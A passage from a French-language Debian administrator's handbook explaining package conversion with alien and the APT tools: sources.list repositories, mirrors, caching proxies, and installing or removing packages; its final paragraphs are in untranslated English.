drwxr-xr-x root/root         0 2021-08-09 02:02 ./etc/httpd/conf.d/

-rw-r--r-- root/root      1181 2021-07-27 09:32 ./etc/httpd/conf.d/phpMyAdmin.conf

drwxr-xr-x root/root         0 2021-08-09 02:02 ./etc/nginx/

drwxr-xr-x root/root         0 2021-08-09 02:02 ./etc/nginx/default.d/

-rw-r--r-- root/root       430 2021-07-27 09:32 ./etc/nginx/default.d/phpMyAdmin.conf

drwxr-x--- root/root         0 2021-08-09 02:02 ./etc/phpMyAdmin/

-rw-r----- root/root      4546 2021-07-27 09:34 ./etc/phpMyAdmin/config.inc.php

drwxr-xr-x root/root         0 2021-08-09 02:02 ./usr/

drwxr-xr-x root/root         0 2021-08-09 02:02 ./usr/share/

drwxr-xr-x root/root         0 2021-08-09 02:02 ./usr/share/doc/

drwxr-xr-x root/root         0 2021-08-09 02:02 ./usr/share/doc/phpMyAdmin/

[..]

$ dpkg -I phpmyadmin_5.1.1-3_all.deb

new Debian package, version 2.0.

size 6195324 bytes: control archive=44444 bytes.

102 bytes,     3 lines      conffiles

593 bytes,    15 lines      control

180405 bytes,  1919 lines      md5sums

448 bytes,    11 lines   *  postinst             #!/bin/sh

Package: phpmyadmin

Version: 5.1.1-3

Architecture: all

Maintainer: Daniel Leidert <dleidert@debian.org>

Installed-Size: 40693

Section: alien

Priority: extra

Description: A web interface for MySQL and MariaDB

phpMyAdmin is a tool written in PHP intended to handle the administration of

MySQL over the Web. Currently it can create and drop databases,

create/drop/alter tables, delete/edit/add fields, execute any SQL statement,

manage keys on fields, manage privileges,export data into various formats and

is available in 50 languages

.

(Converted from a rpm package by alien version 8.95.4.)

Vous constaterez que ce processus est extrêmement simple. Il faut cependant savoir que le paquet généré ne dispose d'aucune information de dépendances, puisque les dépendances des deux formats de paquetages n'ont pas de rapports systématiques. C'est donc à l'administrateur de s'assurer manuellement que le paquet converti fonctionnera correctement et c'est pourquoi il faut éviter autant que possible les paquets Debian générés ainsi. Heureusement, Debian dispose de la plus grosse collection de paquets logiciels de toutes les distributions et il est probable que ce que vous cherchez y existe déjà.

En consultant la page de manuel de la commande alien, vous constaterez également que ce programme gère d'autres formats de paquetages, notamment celui de la distribution Slackware (il s'agit simplement d'une archive .tar.gz).

La stabilité des logiciels déployés grâce à l'outil dpkg contribue à la célébrité de Debian. La suite des outils APT, décrite dans le chapitre suivant, préserve cet avantage tout en soulageant l'administrateur de la gestion de l'état des paquets, nécessaire mais difficile.

Chapitre 6. Maintenance et mise à jour : les outils APT

Ce qui rend Debian si populaire auprès des administrateurs, c'est la facilité avec laquelle il est possible d'y installer des logiciels et de mettre à jour le système complet. Cet avantage unique est dû en grande partie au programme APT, outil dont les administrateurs de Falcot SA se sont empressés d'étudier les possibilités.

APT est l'abréviation de Advanced Packaging Tool (outil sophistiqué pour les paquets). Ce qui fait que le programme est « sophistiqué », c'est qu'il ne se contente pas d'évaluer un par un la problématique des paquets, mais il les considère comme un ensemble et réalise la meilleure combinaison possible de paquets en fonction de tout ce qui est disponible et compatible (au sens des dépendances).

VOCABULAIRE Source de paquets et paquet source

Le terme source peut porter à confusion. Il ne faut pas confondre "un paquet source" — paquet contenant le code source d'un programme — et une "source de paquets" — emplacement (site web, serveur FTP, CD-Rom, répertoire local, etc.) contenant des paquets.

APT a besoin qu'on lui fournisse une « liste de sources de paquets (dépôts) » : c'est le fichier /etc/apt/sources.list qui listera les différents emplacements publiant des paquets Debian. APT devra ensuite importer la liste des paquets publiés par chacune de ces sources. Il réalise cette opération en téléchargeant les fichiers Packages.xz ou une variante (tel que Packages.gz or .bz2 (qui utilise différentes méthodes de compressions) dans le cas d'une source de paquets binaires et en analysant son contenu. Dans le cas de la source d'une source de paquets, APT télécharge les fichiers Sources.xz ou une variante utilisant une méthode de compression différente. Lorsque l'on dispose déjà d'une copie ancienne de ces fichiers, APT est capable de les mettre à jour en ne téléchargeant que les différences (voir encadré ASTUCE Mises à jour incrémentale).

RETOUR AUX BASES. Compression gzip, bzip2, LZMA et XZ

Une extension .gz dénote un fichier compressé avec l'utilitaire gzip, qui est l'utilitaire Unix traditionnel pour compresser les fichiers, rapide et efficace. De nouveaux outils, plus récents, obtiennent de meilleurs taux de compression mais nécessitent plus de ressources (temps de calcul et mémoire) pour compresser ou décompresser un fichier. Par ordre d'apparition, citons bzip2 (qui produit des fichiers d'extension .bz2), LZMA (qui produit des .lzma) et xz (qui produit des .xz).

6.1. Renseigner le fichier sources.list

6.1.1. Syntaxe

Chaque ligne active du fichier /etc/apt/sources.list représente un paquet source (dépôt) et est composée d'au moins trois parties séparées par des espaces. Pour une description complète du format de fichier et de la composition des entrées acceptées, voir sources.list(5).

Exemple 6.1. Exemples de format d'entrée dans /etc/apt/sources.list

deb url distribution composant1 composant2 composant3 [..] composantX

deb-src url distribution composant1 composant2 composant3 [..] composantX

Le premier champ indique le type de la source :

deb

source (dépôt) de paquets binaires

deb-src

source (dépôt) de paquets binaires

Le deuxième champ indique l'URL de base de la source. Combinée aux noms de fichier listés dans les fichiers Packages.gz, il doit donner un URL complet valable. Il peut s'agir d'un miroir Debian ou de toute autre archive de paquets mise en place par des tierces personnes. L'URL peut débuter par file:// pour indiquer une source locale située dans l'arborescence de fichiers du système, par http:// ou https:// pour indiquer une source accessible depuis un serveur web, ou par ftp:// ou ftps:// pour une source disponible sur un serveur FTP. L’URL peut aussi débuter par cdrom: pour les installations à partir de CD-Rom/DVD/Blu-ray, mais moins fréquemment, les méthodes d'installation par le réseau étant de plus en plus répandues. D’autres méthodes telles que like ssh:// ou tor+http(s):// sont gérées et sont décrites soit dans sources.list(5) ou dans leur documentation respective du paquet apt-transport-méthode.

La syntaxe du dernier champ dépend de la structure du dépôt. Dans les cas les plus simples, il s'agit juste d'indiquer le nom du sous-répertoire (terminé par une barre oblique) contenant la source désirée. Cela sera souvent ./ , indiquant l’absence sous-répertoires. Les paquets sont alors directement à l'URL spécifié. Mais le cas le plus courant concerne les dépôts structurés comme les miroirs Debian officiels, avec plusieurs distributions elles-mêmes subdivisées en composants. Dans ce cas, il faut indiquer la distribution choisie soit par son « nom de code » — voir la liste dans l'encadré COMMUNAUTÉ Bruce Perens, un leader chahuté — soit par sa « suite » (oldoldstable, oldstable, stable, testing, unstable), puis les composants à activer. Un miroir Debian standard fournit les composants main, contrib et non-free.

VOCABULAIRE Les archives main, contrib et non-free

Debian prévoit trois composants pour différencier les paquets selon les licences prévues par les auteurs des programmes respectifs. Main (archive principale) rassemble tous les paquets répondant pleinement aux principes du logiciel libre selon Debian.

Le composant non-free (non libre) est différente car elle contient des logiciels ne répondant pas (totalement) à ces principes mais néanmoins distribuables librement. Cette archive, qui ne fait pas officiellement partie de Debian, est un service rendu aux utilisateurs qui pourraient avoir besoin de ces logiciels et qui de nos jours réclament leur microprogramme pour leur matériel. Cependant, Debian recommande toujours d'accorder la préférence aux logiciels libres. L'existence de cette section gêne considérablement Richard M. Stallman et empêche la Free Software Foundation de recommander l'usage de Debian.

Contrib (contributions) est un stock de logiciels libres ne fonctionnant pas sans certains éléments non libres. Il peut s'agir de programmes dépendant de logiciels de la section non-free ou de fichiers non libres tels que des ROM de jeux, des BIOS de consoles, etc., ou certains éléments non disponibles dans l’archive main de Debian. La section contrib inclut des logiciels libres ayant besoin d’éléments propriétaires pour leur compilation. C'était au début le cas de la suite bureautique OpenOffice.org qui avait besoin d'un environnement Java propriétaire.

ASTUCE Fichiers dans /etc/apt/sources.list.d/

Si de nombreuses sources de paquets sont référencées, il peut être utile de les séparer en plusieurs fichiers, chaque fragment étant stocké dans un /etc/apt/sources.list.d/fichier.list (voir encadré B.A.-BA Répertoire en .d).

Les entrées cdrom décrivent les CD/DVD-Rom Debian dont vous disposez. Contrairement aux autres entrées, un CD-Rom n'est pas disponible en permanence puisqu'il faut l'insérer dans le lecteur et qu'un seul disque peut être lu à la fois — ces sources sont donc gérées un peu différemment. On ajoutera ces entrées à l'aide du petit programme apt-cdrom, habituellement invoqué avec le paramètre add. Ce dernier demande alors d'insérer le disque dans le lecteur et parcourt son contenu à la recherche de fichiers Packages, qu'il utilisera pour mettre à jour sa base de données de paquets disponibles (opération habituellement réalisée par la commande apt update). Dès lors, APT pourra vous demander d'insérer le disque en question s'il a besoin de l'un de ses paquets.

6.1.2. Dépôts pour les utilisateurs de Stable

Voici le contenu du fichier sources.list standard pour un système fonctionnant avec la version Stable de Debian :

Exemple 6.2. Fichier /etc/apt/sources.list pour les utilisateurs de Debian Stable

# Mises à jour de sécurité

deb http://security.debian.org/ bullseye/updates main contrib non-free

deb-src http://security.debian.org/ bullseye/updates main contrib non-free

## Miroir Debian

# Dépôt de base

deb http://deb.debian.org/debian bullseye main contrib non-free

deb-src http://deb.debian.org/debian bullseye main contrib non-free

# Mises à jour pour stable

deb http://deb.debian.org/debian bullseye-updates main contrib non-free

deb-src http://deb.debian.org/debian bullseye-updates main contrib non-free

# Rétroportages vers stable

deb http://deb.debian.org/debian bullseye-backports main contrib non-free

deb-src http://deb.debian.org/debian bullseye-backports main contrib non-free

Ce fichier liste toutes les sources de paquets associées à la version Bullseye de Debian (la version Stable à l'heure où ces lignes sont écrites). Nous avons pris le parti d’inscrire « bullseye » explicitement plutôt que d'utiliser ses alias « stable » (stable, stable-updates, stable-backports) pour éviter que le système change spontanément et hors de toute action de notre part lors de la prochaine publication d'une version stable.

La plupart des paquets vont provenir du « dépôt de base » qui contient tous les paquets, mais qui n'est mis à jour que rarement (environ une fois tous les deux mois pour une « publication intermédiaires ». Les autres dépôts sont partiels (ils ne contiennent pas tous les paquets) mais peuvent contenir des mises à jour de paquets qu'APT est capable d'installer. Les sections suivantes détaillent les principes régissant chacun de ces dépôts.

Il est à noter que lorsque la version souhaitée d'un paquet est disponible dans plusieurs dépôts, le paquet sera téléchargé sur le premier de ces dépôts mentionnés dans le fichier sources.list. C'est pour cette raison que l'on place généralement les sources non officielles à la fin du fichier.

Notons au passage que la plupart de ce que cette section mentionne à propos de Stable s'applique également à Oldstable, puisque cette dernière distribution est simplement une version Stable plus ancienne qui reste maintenue en parallèle.

6.1.2.1. Mises à jour de sécurité

Debian prend la sécurité au sérieux. Les vulnérabilités logicielles connues sont suivies dans le Security Bug Tracker et sont généralement corrigées dans un délai raisonnable. Les mises à jour de sécurité ne sont pas hébergées sur le réseau de miroirs Debian habituel, mais sur security.debian.org, un petit nombre de serveurs maintenus par les administrateurs système de Debian. Cette archive contient des mises à jour de sécurité préparées par l'équipe en charge de la sécurité dans Debian ou par les responsables de paquet pour la distribution Stable ou Oldstable.

Ce serveur peut aussi héberger des mises à jour de sécurité pour Testing, mais cela arrive plus rarement parce ces mises à jour atteignent cette suite en suivant le cheminement habituel des paquets en provenance d'Unstable.

Pour les problèmes graves, l'équipe de sécurité publie une annonce DSA (Debian Security Advisory) en même temps que la mise à jour de sécurité sur la liste de diffusion <debian-security-announce@lists.debian.org> (archives).

6.1.2.2. Mises à jour de la distribution stable

Les mises à jour de Stable ne sont pas sensibles à la sécurité, mais sont jugées suffisamment importantes pour être transmises aux utilisateurs avant la prochaine version intermédiaire de Stable.

Ce dépôt va typiquement contenir des correctifs pour des bogues critiques ou graves qui n'ont pas pu être corrigés avant la publication officielle de la version stable de Debian ou qui ont été introduits par des mises à jour postérieures. En fonction de l'urgence ou non des différentes situations, il peut aussi contenir des mises à jour pour les paquets qui ont besoin d'évoluer au fil du temps, par exemple les règles de détection de pourriel de spamassassin, la base de données de virus de clamav, les données de changement d'heure de tous les fuseaux horaires (tzdata), la version ESR de Firefox (firefox-esr) ou les trousseaux de clés de chiffrement tels que debian-archive-keyring.

En pratique, ce dépôt est un sous-ensemble du dépôt proposed-updates, soigneusement sélectionné par les responsables de la publication stable. Toutes les mises à jour sont annoncées sur la liste de diffusion <debian-stable-announce@lists.debian.org> (archives) et feront partie de la prochaine version Stable.

6.1.2.3. Mises à jour proposées

Une fois publiée, la distribution Stable n'est mise à jour que tous les deux mois environ. Le dépôt proposed-updates est l’endroit où sont préparées les mises à jour attendues (sous la supervision des gestionnaires de la publication stable).

Les mises à jour de sécurité et les mises à jour de la distribution stable sont toujours incluses dans ce dépôt, mais pas uniquement ; les responsables de paquets ont aussi la possibilité de corriger des problèmes qui sont importants sans toutefois justifier une publication immédiate.

Notons qu'il est possible d'activer ce dépôt si l'on veut tester ces corrections avant leur publication officielle. Nous employons ici l'alias bullseye-proposed-updates qui est à la fois plus explicite et plus cohérent puisque buster-proposed-updates existe également (pour les mises à jour de Oldstable) :

deb https://deb.debian.org/debian bullseye-proposed-updates main contrib non-free

6.1.2.4. Rétroportages vers stable

Le dépôt stable-backports héberge des « rétroportages » de paquets (backports). Ce terme désigne un paquet d'un logiciel récent recompilé pour une distribution plus ancienne, généralement Stable.

Lorsque cette distribution commence à dater, de nombreux logiciels évoluent en amont et les nouvelles versions ne sont pas réintégrées dans la distribution Stable courante (qui n'est modifiée que pour prendre en compte les problèmes les plus critiques, comme les problèmes de sécurité). Comme les distributions Testing et Unstable peuvent être plus risquées, des responsables de paquets proposent parfois des recompilations de logiciels récents pour Stable, ce qui permet de restreindre une éventuelle instabilité à un petit nombre, bien choisi, de paquets. La page https://backports.debian.org fournit davantage d’informations.

Les rétroportages de stable-backports sont uniquement issus de paquets disponibles dans Testing, de manière à assurer que tous les rétroportages pourront être mis à jour vers la prochaine version stable lorsqu'elle sera disponible.

Bien que ce dépôt fournisse de nouvelles versions des paquets, APT ne va les installer que sur instruction explicite (ou si un paquet concerné a déjà été mis à jour vers une version rétroportée précédente) :

$ sudo apt-get install paquet/bullseye-backports

$ sudo apt-get install -t bullseye-backports paquet

6.1.3. Dépôts pour les utilisateurs de Testing/Unstable

Voici un fichier sources.list standard pour un système qui fonctionne avec la version Testing ou Unstable de Debian :

Exemple 6.3. Fichier /etc/apt/sources.list pour les utilisateurs de Debian Testing/Unstable

# Unstable

deb https://deb.debian.org/debian unstable main contrib non-free

deb-src https://deb.debian.org/debian unstable main contrib non-free

# Testing

deb https://deb.debian.org/debian testing main contrib non-free

deb-src https://deb.debian.org/debian testing main contrib non-free

# Mises à jour de sécurité pour Testing

deb http://security.debian.org/ testing-security main contrib non-free

deb-src http://security.debian.org/ testing-security main contrib non-free

# Stable

deb https://deb.debian.org/debian stable main contrib non-free

deb-src https://deb.debian.org/debian stable main contrib non-free

# Mises à jour de sécurité pour Stable

deb http://security.debian.org/ stable-security main contrib non-free

deb-src http://security.debian.org/ stable-security main contrib non-free

REMARQUE Agencement des dépôts de sécurité

À partir de Debian 11 Bullseye, le nom de code du dépôt fournissant les mises à jour de sécurité a été renommé de codename/updates en codename-security pour éviter la confusion avec codename-updates (voirSection 6.1.2.2, « Mises à jour de la distribution stable »).

→ https://www.debian.org/releases/bullseye/amd64/release-notes/ch-information.en.html#security-archive

Avec ce fichier sources.list, APT installera des paquets depuis Unstable. Si cela n'est pas souhaitable, il convient d'utiliser l'option de configuration APT::Default-Release (voir la Section 6.2.3, « Mise à jour ») pour indiquer à APT de prendre les paquets dans une autre distribution (vraisemblablement Testing dans ce cas).

Il est parfaitement raisonnable d'inclure tous ces dépôts même si un seul suffirait. Les utilisateurs de Testing apprécieront la possibilité de choisir manuellement un paquet corrigé dans Unstable lorsque sa version dans Testing est affectée par un bogue pénible. À l'opposé, les utilisateurs d'Unstable qui découvrent des régressions inattendues pourront rétrograder certains paquets vers la version présente dans Testing, qui devrait fonctionner.

L'inclusion Stable est sujette à débat, mais elle donne souvent accès à des paquets qui ont été supprimés des versions de développement. Elle permet également de profiter des dernières mises à jour des paquets qui n'ont pas encore été modifiés depuis la publication de la dernière version stable.

6.1.3.1. Le dépôt Experimental

L'archive de paquets Experimental, présente sur tous les miroirs Debian, contient des paquets qui n'ont pas encore leur place dans la version Unstable pour cause de qualité insuffisante — ce sont fréquemment des versions de développement ou des pré-versions (alpha, bêta, release candidate...) des logiciels. Il arrive également qu'un paquet y soit envoyé après avoir subi des changements importants, potentiellement sources de problèmes. Le mainteneur cherche alors à débusquer ceux-ci avec l'aide des utilisateurs avancés capables de gérer les soucis importants. Après cette première phase, le paquet passe dans Unstable, au public beaucoup plus vaste, et où il subira donc des tests de bien plus grande envergure.

On réservera donc Experimental aux utilisateurs qui n'ont pas peur de casser leur système puis de le réparer. Cette distribution peut quand même permettre de rapatrier ponctuellement un paquet que l'on tient à essayer ou utiliser. C'est d'ailleurs la logique standard que Debian lui associe, puisque son ajout dans le fichier sources.list d'APT n'entraîne pas l'emploi systématique des paquets qui s'y trouvent. La ligne qu'il convient d'ajouter est la suivante :

deb https://deb.debian.org/debian experimental main contrib non-free

6.1.4. Utilisation de miroirs alternatifs

Les exemples sources.list de ce chapitre concernent les référentiels de paquets hébergés dans deb.debian.org. Ces URL vous redirigeront vers des serveurs proches de vous et gérés par des réseaux de diffusion de contenu (CDN) dont le rôle principal est de stocker plusieurs copies des fichiers à travers le monde et de les livrer le plus rapidement possible aux utilisateurs. Les entreprises CDN avec lesquelles Debian travaille sont des partenaires Debian qui offrent leurs services gratuitement à Debian. Bien qu’aucun de ces serveurs ne soit sous le contrôle direct de Debian, le fait que l’ensemble de l’archive soit verrouillé par des signatures GPG fait que ce cela ne cause pas de problème.

→ https://deb.debian.org/

Les utilisateurs exigeants qui ne sont pas satisfaits des performances de deb.debian.org peuvent essayer de trouver un meilleur miroir dans la liste officielle des miroirs :

→ https://www.debian.org/mirror/list

Mais lorsque vous ne savez pas quel miroir vous convient le mieux, cette liste n'est pas d'une grande utilité. Heureusement pour vous, Debian maintient des entrées DNS de la forme ftp.country-code.debian.org (par exemple ftp.us.debian.org pour les États-Unis, ftp.fr.debian.org pour la France, etc.) qui couvrent de nombreux pays et qui pointent vers un (ou plusieurs) des meilleurs miroirs disponibles dans ce pays.

Comme alternative à deb.debian.org, il y avait auparavant httpredir.debian.org. Ce service identifiait un miroir proche de vous (parmi la liste des miroirs officiels, en utilisant principalement la localisation GeoIP) et redirigeait les requêtes d’APT vers ce miroir. Ce service est obsolète pour des raisons de fiabilité et maintenant httpredir.debian.org fournit le même service basé sur le CDN que deb.debian.org.

6.1.5. Ressources non officielles : mentors.debian.net

Il y a de nombreuses sources non officielles de paquets Debian préparés par des utilisateurs compétents qui ont recompilé certains logiciels (Ubuntu a rendu cette pratique populaire avec leur service d'archive personnelle de paquets, PPA— Personal Package Archive), par des programmeurs qui rendent leur projet disponible pour tous, et même par des développeurs Debian qui proposent des pré-versions de leur paquet en ligne.

Signalons également l'existence du site mentors.debian.net, qui regroupe des paquets sources réalisés par des prétendants au statut de développeur Debian officiel ou par des volontaires souhaitant créer des paquets Debian sans passer par ce processus d'intégration. Ces paquets sont donc fournis sans aucune garantie de qualité ; prenez garde à vous assurer de leur origine et intégrité, puis à bien les tester avant d'envisager de les déployer.

COMMUNAUTÉ Les sites en debian.net

Le domaine debian.net ne constitue pas une ressource officielle du projet Debian. Chaque développeur Debian a la possibilité d'employer ce nom de domaine pour l'usage de son choix. On y trouve des services officieux (parfois des sites personnels) hébergés sur une machine n'appartenant pas au projet et mis en place par des développeurs Debian, voire des prototypes attendant d'être migrés sur debian.org. Deux raisons peuvent expliquer que certains de ces prototypes restent en debian.net : soit personne ne souhaite faire l'effort nécessaire à sa transformation en service officiel (hébergé dans le domaine debian.org et avec une certaine garantie de maintenance), soit le service est trop controversé pour être officialisé.

Installer un paquet revient à donner les droits administrateur à son concepteur, car il décide du contenu des scripts d'initialisation qui sont exécutés sous cette identité. Les paquets officiels Debian sont réalisés par des volontaires cooptés et examinés, capables de sceller leurs paquets pour en vérifier l'origine et l'intégrité.

Mais méfiez-vous a priori d'un paquet dont l'origine est incertaine et qui n'est pas hébergé sur un des serveurs officiels du projet Debian : évaluez le degré de confiance que vous accordez au concepteur et vérifiez l'intégrité du paquet.

POUR ALLER PLUS LOIN Anciennes versions des paquets : snapshot.debian.org et archive.debian.org

Le projet Debian publie fréquemment de nouvelles versions stables de sa distribution, rendant les anciennes versions finalement obsolètes et non prises en charge (voir Section 1.6, « Cycle de vie d'une release »). Les dépôts concernant ces versions sont alors supprimés des miroirs officiels, mais sont toujours accessibles en utilisant le service à archive.debian.org. Remarquez que ce service permet d’accéder à n’importe quelles anciennes versions de Debian, mais ne fournit pas le paquet source pour chaque paquet binaire proposé.

Le service snapshot.debian.org (officialisé en avril 2010) permet de « remonter dans le temps » et de retrouver une ancienne version d'un paquet binaire ou source. Il peut permettre de vérifier par exemple quelle version d'un paquet a introduit une régression et plus concrètement, de revenir à la version précédente en attendant que la régression soit corrigée. Ce service ne propose pas seulement des paquets source et binaires d’anciennes publications, mais aussi des versions remplacées par des paquets téléversés par le responsable en charge.

6.1.6. Mandataire avec cache (proxy-cache) pour paquets Debian

Lorsqu'un réseau complet de machines est configuré pour télécharger les mêmes paquets mis à jour depuis le même serveur distant, tout administrateur sait qu'il serait utile d'utiliser un mandataire (proxy) configuré comme un cache (voir l’encadré VOCABULAIRE Cache) pour limiter le trafic induit par les multiples téléchargements.

APT peut être configuré pour utiliser un proxy « standard » (voir la Section 6.2.4, « Options de configuration » pour la configuration d'APT et la Section 11.6, « Mandataire HTTP/FTP » pour la configuration du proxy lui-même), mais l'écosystème Debian offre de meilleures options pour ce problème. Les logiciels présentés dans cette section sont dédiés à cette tâche et sont souvent plus efficaces qu'un proxy générique puisqu'ils peuvent tirer parti de la structure spécifique des dépôts APT (par exemple, ils peuvent savoir quand un fichier devient obsolète et ainsi ajuster la durée pendant laquelle ce fichier est conservé).

apt-cacher et apt-cacher-ng fonctionnent comme des mandataires standards. Le fichier sources.list d'APT reste inchangé, mais APT est configuré pour utiliser ces logiciels comme mandataires lors des requêtes sortantes.

À l'opposé, approx se comporte comme un serveur HTTP qui servirait de miroir pour d'autres dépôts externes, rendus accessibles dans ses URL de plus haut niveau. La correspondance entre ces répertoires de premier niveau et les adresses distantes des dépôts est enregistrée dans le fichier de configuration /etc/approx/approx.conf :

# <name> <repository-base-url>

debian   http://ftp.debian.org/debian

security http://security.debian.org

Par défaut, approx fonctionne avec le port 9999 à l’aide d’un socket de systemd et nécessite que les utilisateurs ajustent leur fichier sources.list pour qu'il pointe vers le serveur approx :

# Exemple de sources.list pointant vers un serveur approx local

deb http://localhost:9999/security bullseye-security main contrib non-free

deb http://localhost:9999/debian   bullseye main contrib non-free

6.2. Commandes aptitude, apt-get et apt

APT est un projet relativement vaste, qui prévoyait à l'origine une interface graphique. Il repose sur une bibliothèque contenant le cœur de l'application et apt-get est la première interface — en ligne de commande — développée dans le cadre du projet. apt est une deuxième interface en ligne de commande fournie par APT qui corrige quelques erreurs de conception de apt-get.

Les deux outils sont construits sur la même bibliothèque et sont donc très semblables, mais le comportement par défaut d’apt a été amélioré pour une utilisation interactive et pour faire réellement ce que la plupart des utilisateurs attendent. Les développeurs d’APT se réservent le droit de modifier l’interface publique de cet outil pour pouvoir l’améliorer. Inversement, l’interface publique de apt-get est bien définie et ne changera pas de manière non rétrocompatible. C’est donc l’outil que vous souhaitez utiliser lorsque vous devez scripter des demandes d’installation de paquet.

De nombreuses interfaces graphiques sont ensuite apparues en tant que projets extérieurs : synaptic (interface graphique), aptitude (qui inclut à la fois une interface en mode texte et une interface graphique, bien que pas encore complète), wajig, etc. Le frontal le plus recommandé, apt, est celui que nous utiliserons pour les exemples de cette section. Notez cependant que les syntaxes en ligne de commande d'aptitude et d'apt-get sont très similaires. En cas de différences notables entre ces trois commandes, celles-ci seront détaillées.

6.2.1. Initialisation

Un préalable à tout travail avec APT est la mise à jour de la liste des paquets disponibles, qui s'effectue avec un simple apt update. Selon le débit de votre connexion et votre configuration, cette opération peut durer puisqu'elle télécharge un certain nombre de fichiers habituellement compressés (Packages, Sources, Translation-code_langue), devenus assez volumineux au fil de la croissance de Debian (au moins 10-16 Mo de données pour la section main). Évidemment, une installation à partir d'un jeu de CD-Rom/DVD ne nécessite aucun téléchargement, cette opération est alors très rapide.

ASTUCE Mises à jour incrémentale

Le but de la commande apt update est de télécharger pour chacune des sources de paquets le fichier Packages (ou Sources) correspondant. Cependant, même après une compression xz, ces fichiers restent plutôt volumineux (le Packages.xz pour la section main de Unstable occupe plus de 8 Mo). Pour des mises à jour régulières, ces téléchargements peuvent prendre du temps.

Pour accélérer le processus, APT peut télécharger non plus le fichier entier mais simplement les différences par rapport à une version précédente. Les miroirs Debian officiels distribuent pour cela différents fichiers recensant les différences d'une version du fichier Packages à la suivante, lors des mises à jour des archives, avec un historique d'une semaine. Chacun de ces fichiers de différences ne pesant en général que quelques dizaines de kilo-octets pour Unstable, la quantité de données téléchargées par un apt update hebdomadaire est typiquement divisée par 10. Pour les distributions moins changeantes, comme Stable et Testing, le gain est encore plus flagrant.

On notera cependant qu'il est parfois intéressant de forcer le téléchargement du fichier Packages complet, notamment lorsque la dernière mise à jour est vraiment trop ancienne et que le mécanisme des différences incrémentales n'apporterait rien. Cela peut également être intéressant dans les cas où l'accès réseau est très rapide, mais où le processeur de la machine à mettre à jour est relativement lent, le temps gagné sur le téléchargement des fichiers étant plus que perdu lors du calcul des nouvelles versions de ces fichiers à partir des anciennes versions et des différences téléchargées. Pour cela, on pourra utiliser le paramètre de configuration Acquire::PDiffs d’APT, que l'on règlera à false.

$ sudo apt -o "Acquire::PDiffs=false" update

Les options Acquire::* contrôlent également d’autres aspects du téléchargement, et même les méthodes de téléchargement. Acquire::Languages peut limiter ou désactiver le téléchargement des fichiers Translation-code-langue et faire gagner encore plus de temps. Pour une référence complète, voir apt.conf(5).

6.2.2. Installation et suppression

APT permet d'ajouter ou de supprimer des paquets sur le système, respectivement avec apt install paquet et apt remove paquet. Dans chaque cas, APT installera automatiquement les dépendances nécessaires ou supprimera les paquets dépendant du paquet en cours de désinstallation. La commande apt purge paquet demande une désinstallation complète, les fichiers de configuration sont alors également supprimés.

ASTUCE Installer la même sélection de paquets plusieurs fois

Il est parfois souhaitable de pouvoir installer systématiquement la même liste de paquets sur plusieurs ordinateurs. C'est possible assez facilement.

Récupérons d'abord la liste des paquets installés sur l'ordinateur qui servira de « modèle » à dupliquer.

$ dpkg --get-selections >liste-pkg

Le fichier liste-pkg contient la liste des paquets installés. Il faut alors transférer le fichier liste-pkg sur les ordinateurs à mettre à jour et y employer les commandes suivantes :

## Mettre à jour la base de données des paquets connus par dpkg

# avail=`mktemp`

# apt-cache dumpavail > "$avail"

# dpkg --merge-avail "$avail"

# rm -f "$avail"

## Mettre à jour les sélections de dpkg

# dpkg --set-selections < liste-pkg

## Demander à apt-get d'installer les paquets sélectionnés

# apt-get dselect-upgrade

La première commande enregistre la liste des paquets disponibles dans la base de données de dpkg, puis dpkg --set-selections restaure la sélection de paquets à installer et l'invocation d'apt-get exécute les opérations nécessaires — aptitude n'offre pas cette fonctionnalité.

ASTUCE Supprimer et installer en même temps

Il est possible, en ajoutant un suffixe, de demander à apt (ou apt-get, ou aptitude) d'installer certains paquets et d'en supprimer d'autres sur la même ligne de commande. Lors d'une commande apt install, ajoutez un « - » aux noms des paquets que vous souhaitez supprimer. Lors d'une commande apt remove, ajoutez un « + » aux noms des paquets que vous souhaitez installer.

L'exemple suivant montre deux manières d'installer paquet1 et de supprimer paquet2.

# apt install paquet1 paquet2-

# apt remove paquet1+ paquet2

Cela peut également être utilisé pour exclure des paquets qui seraient autrement installés, par exemple, en raison d'une installation automatique de Recommends. En général, le résolveur de dépendances utilisera cette information comme un indice pour rechercher des solutions alternatives.

ASTUCE apt --reinstall et aptitude reinstall

Il arrive que le système soit endommagé suite à la suppression ou à la modification de fichiers appartenant à un paquet. Le moyen le plus simple de récupérer ces fichiers est alors de réinstaller le paquet concerné. Malheureusement, le système d’empaquetage considère que ce dernier est déjà installé et refuse poliment de s'exécuter ; l'option --reinstall des commandes apt et apt-get permet précisément d'éviter cet écueil. La commande ci-dessous réinstalle postfix même si ce dernier est déjà présent :

# apt --reinstall install postfix

La ligne de commande d'aptitude est un peu différente, mais le même effet s'obtient avec aptitude reinstall postfix.

Le problème ne se pose pas avec dpkg, mais il est rare que l'administrateur emploie directement ce dernier.

Attention ! Recourir à apt --reinstall pour restaurer des paquets modifiés au cours d'une attaque ne suffit certainement pas à retrouver un système identique à ce qu'il était au préalable. La Section 14.7, « En cas de piratage » détaille la marche à suivre si vous avez subi un tel incident de sécurité.

Ces commandes ne restaureront pas les fichiers de configuration. Mais comme vous l'avez vu dans la Section 5.2.3, « Checksums, List of Configuration Files, et al. » (voir également l'encadré POUR ALLER PLUS LOIN Forcer dpkg à poser les questions sur les fichiers de configuration), vous pouvez utiliser la commande suivante pour demander l'installation de la version non modifiée et même restaurer tout fichier de configuration supprimé.

# apt --reinstall -o Dpkg::Options::="--force-confask,confmiss" install package

Certains paquets ne fournissent pas de fichier de configuration qui se trouve dans /etc avec le paquet. Au lieu de cela, ils le créent pendant l'installation, soit en copiant une ossature, soit en l'écrivant par un script. Le fichier /etc/inputrc, par exemple, est une copie de /usr/share/readline/inputrc. Dans ce cas, les commandes présentées ci-dessus ne fonctionneront pas.

If the file sources.list mentions several distributions, it is possible to give the version of the package to install. A specific version number can be requested with apt install package=version, but indicating its distribution of origin (Stable, Testing or Unstable) — with apt install package/distribution — is usually preferred. With this command, it is possible to go back to an older version of a package (if, for instance, you know that it works well), provided that it is still available in one of the sources referenced by the sources.list file. Otherwise the snapshot.debian.org archive can come to the rescue (see sidebar POUR ALLER PLUS LOIN Anciennes versions des paquets : snapshot.debian.org et archive.debian.org).

Exemple 6.4. Installation of the Unstable version of spamassassin

# apt install spamassassin/unstable

